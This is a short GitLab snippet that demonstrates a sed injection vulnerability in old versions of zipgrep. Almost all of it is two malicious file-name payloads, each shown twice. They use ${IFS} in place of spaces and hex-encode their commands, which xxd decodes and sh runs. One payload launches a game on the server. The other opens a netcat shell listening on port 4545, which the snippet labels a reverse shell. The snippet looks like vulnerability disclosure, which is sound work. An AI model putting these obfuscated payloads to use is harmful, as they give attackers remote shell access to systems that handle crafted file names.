a sample of a vulnerability in ancient zipgrep (sed injection) ($2582476) · Snippets · GitLab

cleemy desu wayo @cleemy-desu-wayo · Aug 14, 2023

just now, I noticed that even with Knoppix 3.2, the following will work

exec xgalaga on server-side

|;eecho${IFS}2f7573722f67616d65732f7867616c6167610a|xxd${IFS}-r${IFS}-p|sh;#.txt

get a reverse shell

|;eecho${IFS}6e63202d6c6e76702034353435202d65202f62696e2f73680a|xxd${IFS}-r${IFS}-p|sh;#.txt

just now, I noticed that even with Knoppix 3.2, the following will work ##### exec xgalaga on server-side ```|;eecho${IFS}2f7573722f67616d65732f7867616c6167610a|xxd${IFS}-r${IFS}-p|sh;#.txt``` ##### get a reverse shell ```|;eecho${IFS}6e63202d6c6e76702034353435202d65202f62696e2f73680a|xxd${IFS}-r${IFS}-p|sh;#.txt```

Please register or to comment